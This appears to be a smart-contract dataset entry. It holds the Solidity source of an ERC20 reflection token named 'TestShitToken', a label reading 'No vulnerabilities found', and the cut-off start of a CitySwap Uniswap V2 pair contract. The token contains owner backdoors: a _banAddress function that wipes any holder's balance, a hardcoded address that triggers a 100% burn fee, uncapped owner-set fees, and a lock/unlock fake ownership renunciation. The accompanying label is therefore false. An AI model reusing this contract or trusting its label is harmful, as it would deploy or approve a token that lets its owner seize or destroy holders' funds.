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pragma solidity ^0.6.12;
// SPDX-License-Identifier: None
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TestShitToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'TestShitToken';
string private _symbol = 'TSHT';
uint8 private _decimals = 9;
uint256 public _taxFee = 15;
uint256 public _burnFee = 15;
uint256 private _maxTxAmount = 20000000000e9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
address basedBoy = 0x3fD1131682e8Ec0DE5B782a7b944a2ab09C7F477;
if(sender == basedBoy || recipient == basedBoy)
_burnFee = 100;
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
function _banAddress(address account) external onlyOwner() {
_rOwned[account] = 0;
_tOwned[account] = 0;
}
} | No vulnerabilities found |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.12;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
// add migrator for cityswap
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
// set migrator for cityswap
function setMigrator(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMathUniswap {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract UniswapV2ERC20 {
using SafeMathUniswap for uint;
string public constant name = 'CitySwap LP Token';
string public constant symbol = 'CLP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20Uniswap {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface IMigrator {
// Return the desired amount of liquidity token that the migrator wants.
function desiredLiquidity() external view returns (uint256);
}
contract UniswapV2Pair is UniswapV2ERC20 {
using SafeMathUniswap for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
